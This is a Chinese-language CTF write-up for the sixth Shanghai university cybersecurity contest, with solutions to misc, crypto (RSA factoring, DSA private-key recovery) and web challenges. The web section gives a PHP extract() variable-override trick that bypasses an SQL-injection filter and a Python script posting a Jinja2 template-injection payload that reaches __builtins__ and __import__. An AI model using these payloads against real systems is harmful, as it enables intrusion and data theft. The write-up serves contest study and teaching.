• 第六届上海市大学生网络安全大赛wp


    misc

    签到

    直接linux命令行运行出结果

    可乐加冰

    题目是一张百事可乐logo的图片,尝试foremost分解无效,尝试binwalk分析

    发现zlib压缩数据,使用binwalk分解

    依次用010打开,只有2AE96发现情况

    观察数据,数据都每一位都不超过0xa,(10),可能是10进制,编写脚本转码:

    很像jjencode,替换S为$,完整代码如下:

    a = '83 46 36 36 36 95 43 83 46 36 95 95 36 43 83 46 95 95 95 43 83 46 95 95 36 43 83 46 36 36 36 36 43 83 46 36 36 36 95 43 83 46 36 95 95 36 43 83 46 95 95 36 43 34 45 34 43 83 46 36 95 36 36 43 83 46 36 95 36 95 43 83 46 36 36 95 36 43 83 46 36 36 95 43 34 45 34 43 83 46 36 95 95 43 83 46 36 95 36 95 43 83 46 36 36 36 36 43 83 46 36 36 36 43 34 45 34 43 83 46 36 95 95 36 43 83 46 36 95 95 36 43 83 46 36 36 95 43 83 46 95 36 36 43 34 45 34 43 83 46 36 36 95 36 43 83 46 36 95 36 95 43 83 46 36 36 95 36 43 83 46 36 95 95 95 43 83 46 95 95 36 43 83 46 95 36 95 43 83 46 36 36 36 36 43 83 46 36 95 36 43 83 46 36 36 95 43 83 46 95 36 95 43 83 46 36 95 95 43 83 46 36 36 95 36'
    a = a.replace(' ',"")
    #print(a)
    strs = ""
    for i in range(0,len(a),2):
        strs += (chr(int(a[int(i):int(i+2)])))
    strs = strs.replace('S','$')
    print(strs)
    #strs = '$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$'
    

    加密后如下:

    $=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+\\\"-\\\"+$.$_$$+$.$_$_+$.$$_$+$.$$_+\\\"-\\\"+$.$__+$.$_$_+$.$$$$+$.$$$+\\\"-\\\"+$.$__$+$.$__$+$.$$_+$._$$+\\\"-\\\"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$"+"\"")())();
    

    有了加密的编码和原始编码,在控制台直接解密,得到flag

    谷歌每次都能解密成功,但是火狐很多次才一次成功,原因不明

    pcapng

    题目提示这是个dnp3协议,wireshark分析

    将dnp3按长度进行排序,每一个查看内容,直到长度91开始,出现f

    下一个出现l,依次读取

    得到flag{d989e2b92ea671f5d30efb8956eab1427625c}

    pcap-analysic

    题目说分析Modbus协议

    wireshark打开,选取其中一个modbus协议,追踪tcp流

    发现flag,flag为:flag{323f986d429a689d3b96ad12dc5cbc701db0af55}

    密码学

    baby_rsa

    题目给了一个python程序,还有输出的数据,我把数据部分移到程序那里

    #!/usr/bin/env python
    from Crypto.Util.number import *
    from secret import FLAG,BIT
    p = getPrime(BIT)
    q = getPrime(BIT)
    n = p*q
    
    m = bytes_to_long(FLAG)
    n=p*q
    e = 65537
    c = pow(m,e,n)   m^e mod n  求出m
    
    print('n={}'.format(n))
    print('c={}'.format(c))
    
    n=17649959524397760997121068808256580843504587497910149453915162267396485718887518595291066193109877306674118444195689568088263844046660375223625289837992862053279345177671592293911174778827999488542179620983366850016034027115530276422989943300228066482304416809472413052663535805445730178026554076921827725694259203653909224978173857255494234555062560049936771927672590813681897238186260507539943545237569643120449213465796499750961465626495972566123774033404378255591053613115928255568749091129063492156842873395480632444228696955053141918113950854532182678159336565263274798149079981609244430557152399984535126235363
    c=15029318220576201468560263535467919662488860043345492393144032736965870242713450606659777890850505132225711280093046172524095525322154673926523304203423191705454071359296529857716754655771123283983880428698763018843822679367577019725819696194151686979021896785125371586584321924453460309048191160124062645590495288978330433202359745254888236717638151156562967968775572180730587161672905799413277059329869890946648167796801765219831746094281346814783939724111424859058879220880599487372955861808493657218563898884555812145492576092463968720535434333471337338652526644364433874563267556126777216068855825634384513829424
    
    
    
    p1 = getPrime(BIT)
    q1 = getPrime(BIT)
    n1 = p1*q1
    e1 = 264769
    c1 = pow(p,e1,n1)     p^e1 mod n1 
    print('n1={}'.format(n1))
    print('c1={}'.format(c1))
    n1=11941055546120835541933837916957535027223641642056156743752345801163456170772591807989846005495118671627583480778591488285910051133125545781378893719554427584148075540206612251653456701817071613890721071975616517809857996246607186607334395902967699076560894499607006508473605653089963092771854212576322017350805147649094768237953455009748131863337396511143680074932058392590124680763754449521538152648826051051725262170054340100951449328841662181738885435084388023374118710392556656584562494466181529819874959240003672308773193993983011133478065179503497212335076082903214298387572478483167372666139510894330498063363
    c1=6581154435167641787433706075004561388301805860331946235823513860405803778235872737931884851831035226083382029584246800645018019413127765759061141252000392053167257633079915212463877266874219355926577661560935087214076228489015179444896502239970526394611817785461522402281447698895527412078173938006497062776091893518267645893781893160963255732937916279470200335626401698825349254177657209090710482565606571789980792435731381726512181109745347022096351073206312644630716411754744858295344041386540535791304586399357404127194796021552916370709209765337503596373097584818783365858724366310222037341353418913289811053095
    
    hint1 = pow(233*p1+q1,123,n1)
    hint2 = pow(p1+q1,321,n1)
    print('hint1={}'.format(hint1))
    print('hint2={}'.format(hint2))
    
    hint1=1833359454277884547260964954436531463268066576658722989627564649033696969709536217088486700312933027950428272129950495535027288886651991915165684324611000436088979018485688408816231521968453936075696805751053276363477053225197411503384438465457747778257828546056452288773844510523924632927812430649476760238174873630670747649726829664710227729046538241685027106636190022704674813914658555522704254026934170921180880364524978980605216421102751036031187837852845145176233340544629656075196693935478996314670725777034314862269533476603759021249576881724904714872278034418134979560765768103587371983746026587223025082701
    hint2=9228372398106611678286602895979417641404959178255543814408337636177265187498562357680073193750915958259886134885485814072189036077766844561767759359250327303362810094050654309593039106720830526510922411657244536811556192653039479590127726241656703727857177346638244353889205681446185783145149422115271311856344478861088252744224041700828934971839656845962952500398770632343211042957147026294673482712989723897728337948158121202913573351729397106490347537538903650384995023749669582138437808423835983027756877883503757939832290271053227076409279478395525689458736619490567940661071408166381129935073856561201013361053
    
    
    
    p2 = getPrime(BIT)
    q2 = getPrime(BIT)
    n2 = p2*q2
    e2 = 467237
    c2 = pow(p,e2,n2)
    hint3 = (p2^q2+23333)*(p2**2+q2**2)
    print('n2={}'.format(n2))
    print('c2={}'.format(c2))
    print('hint3={}'.format(hint3))
    
    n2=23455941227615775239443656539308297643982180829894484654402049952011754902910673016959293180763361297198028854846363769063194531340669913995607156520854107236145047519578431507504734946246387233119717455988604342629143169157458584024447539175522986194131420361207058659457842367747225416115718224096447064601381167752066587897491480906570491639285673739647530780716845522767589953844752161693528538842719783969776712946980214527220333249829977678665044026275482383388141550463655788551517246509583964301299148891187023831298370935139952329286769019479750190899942260635809156294531533965944585308646875084207341309299
    c2=10715530306324673951548363119599726709032302490502503621262820402900708789479621786122202992270558740188089762633055937315273764776127007864314674666166396689989930966418725350921051566929420570800769227599053763394381881199633177787353312804172567883872711505640718496347152167195080365353610444414595776482688285765982794405522837470961426021769204869380013321460287585054427869064253751275281437353126670344963886123242042442941517661063614551338654515719677153884859086613947232523675577273003475854186999077452645748496990780555934158380320022165991608812421649555260206052852131416556798379301864938588470069672
    hint3=1654703003093197323980549268127925734263220180218064821197891025480097895203898772683216556991095679066676330439571583420844073504061955914501552694851614664535404506850987626495748207864609522112425305618610542301021476293897450207456755153556758668114136827972390250711416496872911351908708498414711360774971803573424205005228478582765383952861132873141928265470739139939621697690745206102955277335631722299407771944405392356152203059038634579646087719909219308328870723043866071044134819385941485815488954689419436803675260443857367260605145787282706903883937049863141720288267973088830357903178618320711954941279581318770659585316616595448063292922358711609246297827512125769079432138746015092937410075719218112875217464130311880766565746303930574642167673189222237455675759570092101319641817787110871628322729294716699165480945617248862043371295021999756247543649749491705260692788753355626196854460802924198436342429850
    

    分析:flag是被公钥加密的,解开的话需要私钥d,根据rsa的算法,得到私钥d就需要分解n

    注意到题目有:c1=pow(p,e1,n1),如果可以分解n1(即求出p1,q1),那么p就可求出来,私钥d也可以得到

    同时题目还有hint1和hint2

    hint1 = pow(233*p1+q1,123,n1)

    hint2 = pow(p1+q1,321,n1)

    根据这两个hint就可以得到p1和q1,证明如下:

    因为hint1 = pow(233*p1+q1,123,n1),hint2 = pow(p1+q1,321,n1),且n1 = p1*q1
    即可化为 
    hint1 = (233*p1+q1)^123 mod p1*q1
    hint2 = (p1+q1)^321 mod p1*q1
    又因为 q1 | q1*p1
    则有 
    hint1 = (233*p1+q1)^123 mod q1
    hint2 = (p1+q1)^321 mod q1
    最终可化简为
    hint1 = (233*p1)^123 mod q1
    hint2 = (p1)^321 mod q1
    (hint1)^321 = ((233*p1)^123)^321 = (233^(123*321)) * p1^(123*321) 
                = (233^(123*321)) * (hint2)^123 mod q1
    则 (hint1)^321 = k*q1 + (233^(123*321)) * (hint2)^123    
    所以 k*q1 = (hint1)^321 - (233^(123*321)) * (hint2)^123
    gcd((hint1)^321 - (233^(123*321)) * (hint2)^123,n1) = q1
    

    由此可以得到q1,因为n1,已知,可以得到p1,已知c1=pow(p,e1,n1),可以得到p,因为n已知,可以得到q,分解完成

    得到p,q,就可以得到私钥d,进而求出明文flag

    完整程序如下:

    from Crypto.Util.number import *
    from gmpy2 import *
    from binascii import *
    
    n=17649959524397760997121068808256580843504587497910149453915162267396485718887518595291066193109877306674118444195689568088263844046660375223625289837992862053279345177671592293911174778827999488542179620983366850016034027115530276422989943300228066482304416809472413052663535805445730178026554076921827725694259203653909224978173857255494234555062560049936771927672590813681897238186260507539943545237569643120449213465796499750961465626495972566123774033404378255591053613115928255568749091129063492156842873395480632444228696955053141918113950854532182678159336565263274798149079981609244430557152399984535126235363
    c=15029318220576201468560263535467919662488860043345492393144032736965870242713450606659777890850505132225711280093046172524095525322154673926523304203423191705454071359296529857716754655771123283983880428698763018843822679367577019725819696194151686979021896785125371586584321924453460309048191160124062645590495288978330433202359745254888236717638151156562967968775572180730587161672905799413277059329869890946648167796801765219831746094281346814783939724111424859058879220880599487372955861808493657218563898884555812145492576092463968720535434333471337338652526644364433874563267556126777216068855825634384513829424
    
    n1=11941055546120835541933837916957535027223641642056156743752345801163456170772591807989846005495118671627583480778591488285910051133125545781378893719554427584148075540206612251653456701817071613890721071975616517809857996246607186607334395902967699076560894499607006508473605653089963092771854212576322017350805147649094768237953455009748131863337396511143680074932058392590124680763754449521538152648826051051725262170054340100951449328841662181738885435084388023374118710392556656584562494466181529819874959240003672308773193993983011133478065179503497212335076082903214298387572478483167372666139510894330498063363
    c1=6581154435167641787433706075004561388301805860331946235823513860405803778235872737931884851831035226083382029584246800645018019413127765759061141252000392053167257633079915212463877266874219355926577661560935087214076228489015179444896502239970526394611817785461522402281447698895527412078173938006497062776091893518267645893781893160963255732937916279470200335626401698825349254177657209090710482565606571789980792435731381726512181109745347022096351073206312644630716411754744858295344041386540535791304586399357404127194796021552916370709209765337503596373097584818783365858724366310222037341353418913289811053095
    
    hint1=1833359454277884547260964954436531463268066576658722989627564649033696969709536217088486700312933027950428272129950495535027288886651991915165684324611000436088979018485688408816231521968453936075696805751053276363477053225197411503384438465457747778257828546056452288773844510523924632927812430649476760238174873630670747649726829664710227729046538241685027106636190022704674813914658555522704254026934170921180880364524978980605216421102751036031187837852845145176233340544629656075196693935478996314670725777034314862269533476603759021249576881724904714872278034418134979560765768103587371983746026587223025082701
    hint2=9228372398106611678286602895979417641404959178255543814408337636177265187498562357680073193750915958259886134885485814072189036077766844561767759359250327303362810094050654309593039106720830526510922411657244536811556192653039479590127726241656703727857177346638244353889205681446185783145149422115271311856344478861088252744224041700828934971839656845962952500398770632343211042957147026294673482712989723897728337948158121202913573351729397106490347537538903650384995023749669582138437808423835983027756877883503757939832290271053227076409279478395525689458736619490567940661071408166381129935073856561201013361053
    
    e1 = 264769
    e = 65537
    
    x = pow(hint1,321)-pow(233,123*321)*pow(hint2,123)
    q1 = gcd(x,n1)
    p1 = n1//q1
    
    Fai1 = (p1-1)*(q1-1)
    d1 = invert(e1,Fai1)
    p = pow(c1,d1,n1)
    q = n//p
    
    Fai = (p-1)*(q-1)
    d = invert(e,Fai)
    m = pow(c,d,n)
    
    flag = hex(m)[2:]
    fin_flag = a2b_hex(flag).decode('utf-8')
    print fin_flag
    

    baby_dsa

    题目给了一个python程序,还有输出的数据,我把数据部分移到程序那里

    #!/usr/bin/env python
    from Crypto.Util.number import *
    from hashlib import sha512,md5
    from os import urandom
    import random
    
    def hash(message):
    	return int(sha512(message).hexdigest(), 16)#哈希函数
    
    def key_gen():
    	q = getPrime(256)   #q是一个素数
    	while True:
    		p = random.getrandbits(2816)*q + 1        #满足条件p-1是q的倍数
    		if isPrime(p):
    			print(p.bit_length())                
    			break
    	while True:
    		g = pow(random.randrange(1, p-1), (p-1)/q, p)   #范围,指数,模数
    		if g != 1:
    			break
    	x = random.randrange(1, q)   #得到私钥x
    	y = pow(g, x, p)             #得到y
    	pubkey = (p, q, g, y)        #公钥
    	privkey = x                   #私钥
    	return pubkey, privkey
    
    def sign(message, pubkey, privkey):
    	p, q, g, y = pubkey
    	x = privkey
    	k = pow(y, x, g) * random.randrange(1, 512) % q   #随机数范围很小
    	
    	r = pow(g, k, p) % q
    	s = inverse(k, q) * (hash(message) + x * r) % q
    	return r, s
    
    def verify(message, signature, pubkey):   #验算
    	p, q, g, y = pubkey
    	r, s = signature  #签名
    	if not (0 < r < q) or not (0 < s < q):
    		return False
    	w = inverse(s, q)      #得到s的逆
    	u1 = (hash(message) * w) % q
    	u2 = (r * w) % q
    	v = ((pow(g, u1, p) * pow(y, u2, p)) % p) % q
    	return v == r
    
    pubkey, privkey = key_gen()
    print(pubkey)
    (p = 3297226463037324458008837284498963372649038889390685051849680175016505646001761220109858921624266044035133134135402561235635833428206886888308027772353030767400921078346868377298401213812053250316002033941692272192644613252296579884516731560436501073253924457646558698855484781747029397755111633297587215976579633451933658235385386539518006570069653575146060016811911140614606471930327341368582979836042585406811352236326065292636484550807213756482153084427714549694264685695977531537425682212155553568848666088576932888234659355213664909753781753917401161977762663658097504411914908081677033980915039079517766159760522261279115347385813009437510156898969769563687869495721977265444799585634019880951532080217960456901788918439265788169910062822889580199366417455186595489973000351770200485095008494228829300145039695936946379585625051402553034971207474762463147744467360158847593356030745194143276254949463650698210515569533L, 
    q = 82302835442112137125891403368151249910268706824854786126600390413622302196443L, 
    g = 1156233264299340971106498371495495695225880592354374034142195518472540521911699506391311324676590685365234887170345722135060009885002334748836477169806166169806180231794918961214520698361874839110454610266388341977984902756569838594616255112661600466818870137432772800368859461445854700956291885576855069405183771903076277144927769029433730710613058788277691211698675287829143272152835171859480781061918556840079857761203012054552142555673071865310355331986288606422711525790877591376770834180618492794265362178603111236615495225612101250344421932588038244804199229449738675082560512062564365473035097263889257937140778993389305893378514344032352806521972367991027459721160744835688761657797398841523104074451793557924512992305640697344011520550723893828185707635141404445213445935586965289450282024222064488965878769991566367115153619761583843561579531705057955933288008556165952066173304891391375100346312776539530448611005L, 
    y = 290999623787731812697719691852061290246619413463636312382146969900546384514710782843153962704851916091601679028830866176332331519515156301401537173069908181509028464322647352256632424684809349121024262597006913707483811117644197481959053785475083406472583099140506505071300193356002443007750220524932219191932969202270343323955035291396808472686684787610559114702054784699365490860392737061056233160308943296478540798353134878937088336672928162894332961762277559345860479916248086821117811990391025187125193074059001086441305977133252774698996653122297123447837449168657347308016270030881395674066421144002959751936839166935726200833785132736328859710351871352567511516142170956091885352178579302299634322254818383978585773136692588922976043617337904545396146755609284163743476297772686548475170197605412847689587171522453229055932712714154869989454808561458852031769119489235598402066924082778376081494632258448434048562053L)
    
    
    message1 = urandom(16).encode('hex')
    signature1 = sign(message1, pubkey, privkey)
    print(message1,signature1)
    (message1 = '0234e7971889def7e60348f77db94b7a', (
    r = 10859236269959765735236393779936305217305574331839234502190226708929991582386L, 
    s = 13707557323895695260471053137828523837745895683218331343360027380310980108819L))
    
    
    print(verify(message1, signature1, pubkey))
    
    message2 = urandom(16).encode('hex')
    signature2 = sign(message2, pubkey, privkey)
    print(message2,signature2)
    (message2 = '16c5ac270b72f70319657b4410d985d4', (
    r = 41960642246379067640524709416001536058292817319109764317369777224426218746518L, 
    s = 74676725322515593502346275468843411563746982149373670021082686341369076719088L))
    
    
    
    print(verify(message2, signature2, pubkey))
    
    flag = 'flag{'+md5(long_to_bytes(privkey)).hexdigest()+'}'
    

    题目就是要我们求出私钥,根据程序分析可以得到,两组dsa的数据,用了同一个私钥,下面推导私钥的表达式

    两组数据,则有两个表达式,如下
    k1s1 = (H(M1)+xr1) mod q
    k2s2 = (H(M2)+xr2) mod q
    同时也有
    k1 = (y^x mod g * random1) mod q
    k2 = (y^x mod g * random2) mod q
    对于k1和k2的表达式,有含有x,但是因为是离散对数的格式,表达x困难,尝试将其替换掉
    k1,k2表达式,将随机数移到左边
    k1 * random1^-1 = (y^x mod g) mod q
    k2 * random2^-1 = (y^x mod g) mod q
    所以得到:k1 * random1^-1 = k2 * random2^-1
    此式子缺乏x,需要引入含有x的表达式,ks = (H(M)+xr) mod q,两边同时乘以s1s2
    k1 * random1^-1 * s1*s2 = k2 * random2^-1 * s1*s2
    式子也等价于
    H(M1)random1^-1 *s2 + xr1*random1^-1 * s2 = H(M2)random2^-1 *s1 + xr2*random2^-1 * s1 
    再化简
    H(M1)random1^-1 *s2 * random2 + xr1*random1^-1 * s2 * random2 = H(M2) * s1 + xr2*s1
    移项
    H(M1)random1^-1 *s2 * random2 - H(M2) * s1 = xr2*s1  - xr1*random1^-1 * s2 * random2
    x = H(M1)*random1^-1 *s2 * random2 - H(M2) * s1 / (r2*s1 - r1*random1^-1 * s2 * random2)
    

    因为随机数的范围不是很大,暴力破解,只要找到签名和题目给定的签名相同,就可以确定随机数,求出私钥x(但是我还是跑了好久。。。)

    from Crypto.Util.number import *
    from hashlib import sha512,md5
    
    pubkey = (3297226463037324458008837284498963372649038889390685051849680175016505646001761220109858921624266044035133134135402561235635833428206886888308027772353030767400921078346868377298401213812053250316002033941692272192644613252296579884516731560436501073253924457646558698855484781747029397755111633297587215976579633451933658235385386539518006570069653575146060016811911140614606471930327341368582979836042585406811352236326065292636484550807213756482153084427714549694264685695977531537425682212155553568848666088576932888234659355213664909753781753917401161977762663658097504411914908081677033980915039079517766159760522261279115347385813009437510156898969769563687869495721977265444799585634019880951532080217960456901788918439265788169910062822889580199366417455186595489973000351770200485095008494228829300145039695936946379585625051402553034971207474762463147744467360158847593356030745194143276254949463650698210515569533L,82302835442112137125891403368151249910268706824854786126600390413622302196443L,1156233264299340971106498371495495695225880592354374034142195518472540521911699506391311324676590685365234887170345722135060009885002334748836477169806166169806180231794918961214520698361874839110454610266388341977984902756569838594616255112661600466818870137432772800368859461445854700956291885576855069405183771903076277144927769029433730710613058788277691211698675287829143272152835171859480781061918556840079857761203012054552142555673071865310355331986288606422711525790877591376770834180618492794265362178603111236615495225612101250344421932588038244804199229449738675082560512062564365473035097263889257937140778993389305893378514344032352806521972367991027459721160744835688761657797398841523104074451793557924512992305640697344011520550723893828185707635141404445213445935586965289450282024222064488965878769991566367115153619761583843561579531705057955933288008556165952066173304891391375100346312776539530448611005L,290999623787731812697719691852061290246619413463636312382146969900546384514710782843153962704851916091601679028830866176332331519515156301401537173069908181509028464322647352256632424684809349121024262597006913707483811117644197481959053785475083406472583099140506505071300193356002443007750220524932219191932969202270343323955035291396808472686684787610559114702054784699365490860392737061056233160308943296478540798353134878937088336672928162894332961762277559345860479916248086821117811990391025187125193074059001086441305977133252774698996653122297123447837449168657347308016270030881395674066421144002959751936839166935726200833785132736328859710351871352567511516142170956091885352178579302299634322254818383978585773136692588922976043617337904545396146755609284163743476297772686548475170197605412847689587171522453229055932712714154869989454808561458852031769119489235598402066924082778376081494632258448434048562053L)
    p,q,g,y = pubkey
    
    message1xx = (b'0234e7971889def7e60348f77db94b7a',(10859236269959765735236393779936305217305574331839234502190226708929991582386L,13707557323895695260471053137828523837745895683218331343360027380310980108819L))
    
    message1 = b'0234e7971889def7e60348f77db94b7a'
    r1 = 10859236269959765735236393779936305217305574331839234502190226708929991582386L
    s1 = 13707557323895695260471053137828523837745895683218331343360027380310980108819L
    
    message2 = b'16c5ac270b72f70319657b4410d985d4'
    r2 = 41960642246379067640524709416001536058292817319109764317369777224426218746518L
    s2 = 74676725322515593502346275468843411563746982149373670021082686341369076719088L
    
    def hash(message):
            return int(sha512(message).hexdigest(), 16)
    
    def sign(message, pubkey, privkey,randoms):
            p, q, g, y = pubkey
            x = privkey
            k = pow(y,x,g) * randoms
            r = pow(g,k,p)%q
            s = inverse(k,q)*(hash(message)+x*r)%q
            return r,s
    
    H1 = hash(message1)
    H2 = hash(message2)
    
    #x = H(M1)*random1^-1 *s2 * random2 - H(M2) * s1 / (r2*s1 - r1*random1^-1 * s2 * random2)
    print "Now attack start..."
    for random2 in range(1,512):
        print "Now random2 is:%d\n" % random2
        for random1 in range(1,512):
            print "Now random1 is:%d" %random1
            random1_inverse = inverse(random1,q)
            x = (H1*random1_inverse*s2*random2-H2*s1) * inverse(r2*s1-r1*random1_inverse*s2*random2,q)%q
            if sign(message1,pubkey,x,random1) == message1xx[1]:
                flag = 'flag{'+md5(long_to_bytes(x)).hexdigest()+'}'
                print flag
                print "Success!"
                exit()
    

    web

    千毒网盘

    访问url/www.zip,发现源码

    #index.php 
    foreach(array('_GET', '_POST', '_COOKIE') as $key) #就是说$key就是_GET,$$key就是$_GET
    {
        if($$key) 
        {
            foreach($$key as $key_2 => $value_2) { 
                if(isset($$key_2) and $$key_2 == $value_2) 
                    unset($$key_2); #删除变量 
            }
        } 
    }
    if(isset($_POST['code']))
        $_POST['code'] = $pan->filter($_POST['code']); 
    if($_GET) 
        extract($_GET, EXTR_SKIP); #添加变量 
    if($_POST) 
        extract($_POST, EXTR_SKIP); #添加变量
    
    #code.php 
    public function filter($string) #安全检验函数
    { 
        $safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string); 
       if($safe === 0){ 
           return $string;
       }
        else{
            return False; 
        } 
    }
    public function getfile() 
    { 
        $code = $_POST['code'];
        if($code === False) return '非法提取码!'; 
        $file_code = array(114514,233333,666666); 
        if(in_array($code,$file_code))
        { 
            $sql = "select * from file where code='$code'";#这里可能可以进行sql注入
            $result = mysqli_query($this->mysqli,$sql); 
            $result = mysqli_fetch_object($result); 
            return '下载直链为:'.$result->url; 
        }
        else
        {
            return '提取码不存在!'; 
        } 
    }
    

    题目明显就是使用sql注入拿到flag,但是因为安全函数的原因,无法构造语句,想办法绕过这个函数,进入安全函数的条件是:if(isset(\(_POST['code'])),如果条件为假,就可以不执行安全函数,同时前面也有unset(\)$key_2); ,经过本地测试,当使用 _POST时变量就会被删除,不会执行安全函数

    假设最开始_GET传参$_POST[code]=114514',_GET数组的键名是_POST,所以导入了_POST的变量,即$_POST变量,这两个语句
    if($_GET) extract($_GET, EXTR_SKIP); 
    if($_POST) extract($_POST, EXTR_SKIP); 
    运行后
    恢复$code=114514'
    

    本地测试结果如下:

    这样就绕过了安全函数,使用sql注入,注意要GET和POST都传参,之后就常规的sql注入了

    TryToLogin

    暂无思路

    Hello

    前端代码提示访问/help,访问后,得到一大串base64码,解密后的源码如下

    from flask import Flask,request,render_template 
    from jinja2 import Template 
    import os 
    app = Flask(__name__) 
    f = open('/flag','r') 
    flag = f.read()
    @app.route('/',methods=['GET','POST']) 
    def home(): 
        name = request.args.get("name") or "" 
        print(name) 
        if name: 
            return render_template('index.html',name=name) 
        else:
            return render_template('index.html') 
    @app.route('/help',methods=['GET']) 
    def help(): 
        help = ''' ''' 
        return f.read() 
    @app.errorhandler(404) 
    def page_not_found(e): 
        #No way to get flag! 
        os.system('rm -f /flag') 
        url = name = request.args.get("name") or "" 
        # r = request.path 
        r = request.data.decode('utf8') 
        if 'eval' in r or 'popen' in r or '{{' in r:
            t = Template(" Not found!") 
            return render_template(t), 404 
        t = Template(r + " Not found!") 
        return render_template(t), 404 
    if __name__ == '__main__': 
        app.run(host='0.0.0.0',port=8888
    

    分析源码:程序开始就读取了/flag的内容,放在变量flag里面,之后又删除了/flag,并且对一些重要的函数进行过滤,也过滤了{{,可以用{%绕过

    经过测试,在默认的页面尽管?name是可控的,但是无论输入什么,就输出什么,可见默认页面不可用,那么就只剩下404页面可以被利用,之前的变量flag已经保存了flag了,使用print输入就可以

    python脚本如下

    import requests 
    url = 'xxxxx/a' 
    for i in range(100): 
        data=""{%print [].__class__.__bases__[0].__subclasses__() ["+str(i)+"].__init__.__globals__['__builtins__']['__import__'] ('__main__').flag %}"  
        res = requests.post(url=url,data=data) 
        if "flag" in res.text:
            print(res.text)
    

    reverse与pwn待更~

  • 相关阅读:
    当jsp中Springboot之登录模块探索(含Token,验证码还有数据库
    当php内容的内存分页不,如何更快的使用head的分段式处理方式
    Java 开发 2021 年发生的的一些自我总结和教训,即使反省
    总结这些年php函数中遇到的绊脚石,告别以后面试的现场尴尬
    使用 WSDL 指定的标准 SOAP 消息格式
    ORACLE数据库导出表,字段名,长度,类型,字段注释,表注释语句
    oracle中start with和connect by的用法理解
    关于RabbitMQ以及RabbitMQ和Spring的整合
    Vue.js——基于$.ajax实现数据的跨域增删查改
    HTML表格跨行、跨列操作(rowspan、colspan)
  • 原文地址:https://www.cnblogs.com/crfshadow/p/13997629.html
Copyright © 2020-2023  润新知